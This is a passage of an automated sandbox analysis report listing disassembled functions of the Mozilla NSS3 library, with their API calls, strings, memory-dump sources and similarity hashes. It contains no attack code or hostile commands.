SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CE90B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CE90B78

Strings

psk_id_hash, xrefs: 6CE909B5
exp, xrefs: 6CE90B36
info_hash, xrefs: 6CE909E0
secret, xrefs: 6CE90A88
base_nonce, xrefs: 6CE90B06
key, xrefs: 6CE90ACB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 44d88b9c82a287bf15c1377af0762968028943dd82ca2d24b4af9754f1e46a79
Instruction ID: 716662fc09398747e23c556fc5ff5895b52a4334c82070aac0e6e0826ebd923a
Opcode Fuzzy Hash: 44d88b9c82a287bf15c1377af0762968028943dd82ca2d24b4af9754f1e46a79
Instruction Fuzzy Hash: 51818A76604301AFD710CF54C880A9AF7F8EF8D218F14891DF99997752E731E919CBA2

Function 6CE989B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6CE989D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE98A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE98A13

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE98A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE98A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CE98A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CE98A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6CE98AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6CE98B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE98B52
PR_LogPrint.NSS3(?,00000000), ref: 6CE98B68

Strings

pTemplate = 0x%p, xrefs: 6CE98A62
pMechanism = 0x%p, xrefs: 6CE98A46
(CK_INVALID_HANDLE), xrefs: 6CE98A0C, 6CE98B4B
phKey = 0x%p, xrefs: 6CE98A9C
C_GenerateKey, xrefs: 6CE989D1
ulCount = %d, xrefs: 6CE98A7E
hSession = 0x%x, xrefs: 6CE989EE, 6CE989FE
*phKey = 0x%x, xrefs: 6CE98B2D, 6CE98B3D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: 2261501447e55c0ed85a8504efc0859410c5a8ce9fcf738e354080dfb180cdf8
Instruction ID: 36ccd9945cceccb0c3aaf9add52b5099092c96cef16c3fa373a675266d1a8a92
Opcode Fuzzy Hash: 2261501447e55c0ed85a8504efc0859410c5a8ce9fcf738e354080dfb180cdf8
Instruction Fuzzy Hash: 1E51C274B01204ABDB50DF14DD88F9B7B75EF4230CF59442AE808ABB21D7729D59CBA2

Function 6CEA2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CEA2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CEA2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEA2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEA2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE74F1C,?,-00000001,00000000,?), ref: 6CEA2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE74F1C,?,-00000001,00000000), ref: 6CEA2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEA2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEA2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEA2EF8
PR_Unlock.NSS3(?), ref: 6CEA2F62
TlsGetValue.KERNEL32 ref: 6CEA2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEA2F9E
PR_Unlock.NSS3(?), ref: 6CEA2FCA
TlsGetValue.KERNEL32 ref: 6CEA301A
EnterCriticalSection.KERNEL32(?), ref: 6CEA302E
PR_Unlock.NSS3(?), ref: 6CEA3066
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3085
PR_Unlock.NSS3(?), ref: 6CEA30EC
TlsGetValue.KERNEL32 ref: 6CEA310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEA3124
PR_Unlock.NSS3(?), ref: 6CEA314C

Part of subcall function 6CE89180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CEB379E,?,6CE89568,00000000,?,6CEB379E,?,00000001,?), ref: 6CE8918D
Part of subcall function 6CE89180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CEB379E,?,6CE89568,00000000,?,6CEB379E,?,00000001,?), ref: 6CE891A0

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

PR_SetError.NSS3(00000000,00000000), ref: 6CEA316D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 988f063e02d3273ff736587e506679fe190963f87e4c5fec8a39dcdb23b07361
Instruction ID: 9b128a50c43c7625741a4fd2303d3bbf5d749e53c442d307fd9e6acd01161da3
Opcode Fuzzy Hash: 988f063e02d3273ff736587e506679fe190963f87e4c5fec8a39dcdb23b07361
Instruction Fuzzy Hash: 23F1AEB1E002099FDF01DFA5D884B9EBBB4BF19318F244169EC04AB711E731E996CB91

Function 6CE9AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CE9AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE9AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE9AF83

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE9AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CE9AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CE9AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE9AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE9B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE9B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CE9B041

Strings

ulParameterLen = 0x%p, xrefs: 6CE9AFD4
C_SignMessage, xrefs: 6CE9AF41
pParameter = 0x%p, xrefs: 6CE9AFB9
(CK_INVALID_HANDLE), xrefs: 6CE9AF7C
pSignature = 0x%p, xrefs: 6CE9B023
ulDataLen = %d, xrefs: 6CE9B00A
pulSignatureLen = 0x%p, xrefs: 6CE9B03C
pData = 0x%p, xrefs: 6CE9AFEF
hSession = 0x%x, xrefs: 6CE9AF5E, 6CE9AF6E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 64de2d67463555806e255c74b836812816bbcfcf2808c30f7baf5579d4a084d3
Instruction ID: 88c23475b12e339a344a5e821ee4ff56378198a23971a72aa8ffc3ddb7c8b546
Opcode Fuzzy Hash: 64de2d67463555806e255c74b836812816bbcfcf2808c30f7baf5579d4a084d3
Instruction Fuzzy Hash: 4641C375E01104EFDB608F51DD49F8A3BB2EF4230DF5A4429F808A7B11D7728959CBA1

Function 6CECC980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CECAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CECC98E

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CECAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CECC9A1

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CECAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CECC9D3

Part of subcall function 6CEC0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC08B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CECAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CECC9E6

Part of subcall function 6CEBFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEB8D2D,?,00000000,?), ref: 6CEBFB85
Part of subcall function 6CEBFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEBFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CECAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CECC9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CECAEB0,?,00000004,00000001,?,00000000,?), ref: 6CECCA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CECAEB0,?,00000004,00000001), ref: 6CECCA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CECAEB0,?,00000004), ref: 6CECCA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CECCA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CECAEB0,?,00000004), ref: 6CECCA6D
PR_Now.NSS3 ref: 6CECCAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CECCB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CECCB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CECCB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CECCBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CECCBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CECCBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CECCC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CECCC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CECCC5B

Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CECCC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CECCC89

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: fce10729afd404acffcb195aada512942b92ada4e184f70d9403f7656b5f39cd
Instruction ID: eb4bb4957ab8ff930c49e35dd3fe88f2d424d28134dfaee81cfcdc0042d09c8a
Opcode Fuzzy Hash: fce10729afd404acffcb195aada512942b92ada4e184f70d9403f7656b5f39cd
Instruction Fuzzy Hash: 06B191B5F002069FEB00DF65CE51BAA77B4BF1830CF204129E925A7751EB71D994CBA2

Function 6CEA29A0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,^jl,00000001,00000000,?,6CE76540,?,0000000D,00000000), ref: 6CEA2A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,^jl,00000001,00000000,?,6CE76540,?,0000000D,00000000), ref: 6CEA2A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,^jl,00000001,00000000,?,6CE76540,?,0000000D), ref: 6CEA2A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jl,00000001), ref: 6CEA2AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,^jl,00000001,00000000), ref: 6CEA2ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jl,00000001), ref: 6CEA2ADF
PR_Unlock.NSS3(?), ref: 6CEA2B38
PR_Unlock.NSS3(?), ref: 6CEA2B8B

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,^jl,00000001,00000000,?,6CE76540,?,0000000D,00000000,?), ref: 6CEA2CA2

Strings

@el, xrefs: 6CEA2A18, 6CEA2A22
@el, xrefs: 6CEA29E7, 6CEA2A1D
^jl, xrefs: 6CEA29A5

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID: @el$@el$^jl
API String ID: 2580468248-2432865773
Opcode ID: e7de1713cecc7040f838f2497660d634e008271dd8bd893a34217dff60920a9d
Instruction ID: 11b1677dbfad49b391ae1ed5702b1c3f76173cb26089817ca4b327b52052541d
Opcode Fuzzy Hash: e7de1713cecc7040f838f2497660d634e008271dd8bd893a34217dff60920a9d
Instruction Fuzzy Hash: 68B1D771D002059FDB10DFA9D888B9AB7B5FF19308F248529EC49BBB11E731E952CB91

Function 6CEA4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CEA4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEA4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4DB7

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

TlsGetValue.KERNEL32 ref: 6CEA4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CEA4DEC
PR_Unlock.NSS3(?), ref: 6CEA4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CEA4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CEA4E71
free.MOZGLUE(00000000), ref: 6CEA4E7A
PR_Unlock.NSS3(?), ref: 6CEA4EA2
TlsGetValue.KERNEL32 ref: 6CEA4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CEA4ED6
PR_Unlock.NSS3(?), ref: 6CEA4F01
free.MOZGLUE(00000000), ref: 6CEA4F2A

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 39187f27135b05afefb4425fe29ca8fb169eca30129d048318a6282874aa39c3
Instruction ID: ee996a37c91aaf41527517e2c381713be30d07840a323864164716b9c8f73dc2
Opcode Fuzzy Hash: 39187f27135b05afefb4425fe29ca8fb169eca30129d048318a6282874aa39c3
Instruction Fuzzy Hash: 9BB11775E002059FDB40EFA8D885BAA77B4BF0931CF246125ED159BB01EB30E966CBD1

Function 6CEF6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CEF6BF7), ref: 6CEF6EB6

Part of subcall function 6CE51240: TlsGetValue.KERNEL32(00000040,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE51267
Part of subcall function 6CE51240: EnterCriticalSection.KERNEL32(?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE5127C
Part of subcall function 6CE51240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE51291
Part of subcall function 6CE51240: PR_Unlock.NSS3(?,?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE512A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CF9FC0A,6CEF6BF7), ref: 6CEF6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEF6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CEF6EFC
PR_NewLock.NSS3 ref: 6CEF6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CEF6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CEF6BF7), ref: 6CEF6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CEF6BF7), ref: 6CEF6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CEF6BF7), ref: 6CEF6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CEF6BF7), ref: 6CEF6FFD

Strings

SSLFORCELOCKS, xrefs: 6CEF6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CEF6FDB
SSLKEYLOGFILE, xrefs: 6CEF6EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CEF6EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CEF6F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CEF6FF8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
